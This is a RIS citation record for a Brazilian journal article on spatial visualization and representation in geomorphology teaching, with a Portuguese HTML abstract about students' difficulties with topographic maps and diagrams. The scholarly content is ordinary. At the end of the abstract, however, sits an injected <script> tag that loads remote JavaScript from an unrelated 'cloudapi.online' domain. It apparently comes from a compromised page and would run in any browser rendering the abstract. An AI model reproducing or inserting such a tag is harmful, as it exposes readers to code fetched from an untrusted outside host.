TY - JOUR AU - Souza, Carla Juscélia de Oliveira AU - Valadão, Roberto Célio PY - 2015/06/25 Y2 - 2024/03/29 TI - Visualização e representação espaciais no ensino de geomorfologia JF - Terrae Didatica JA - Terrae didat. VL - 9 IS - 2 SE - Artigos DO - 10.20396/td.v9i2.8637399 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/td/article/view/8637399 SP - 105-113 AB - <p class="Default">A Geomorfologia emprega imagens como recurso fundamental no ensino-aprendizagem de temáticas referentes ao relevo. Os recursos incluem blocos-diagramas, cartas topográficas, mapas geomorfológicos e geológicos e imagens obtidas por sensores remotos. A compreensão e uso dos recursos constituem habilidades essenciais ao processo de construção do conhecimento geomorfológico. Apesar disso, verificam-se entre graduandos dificuldades com o emprego dos referidos recursos, que decorrem e se relacionam à falta de habilidades espacial, conceitual e de representação e se desdobram, por sua vez, em dificuldades cartográficas e de visualização espacial. Para o sujeito realizar a identificação das formas de relevo, em uma carta topográfica, deve antes ser capaz de decodificar os símbolos comuns na linguagem cartográfica, bem como conhecer conceitualmente as formas representadas. A representação e a visualização espacial compreendem a interação de habilidades e conhecimentos, que interagem a partir da dimensão externa e interna inerente aos seres humanos.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -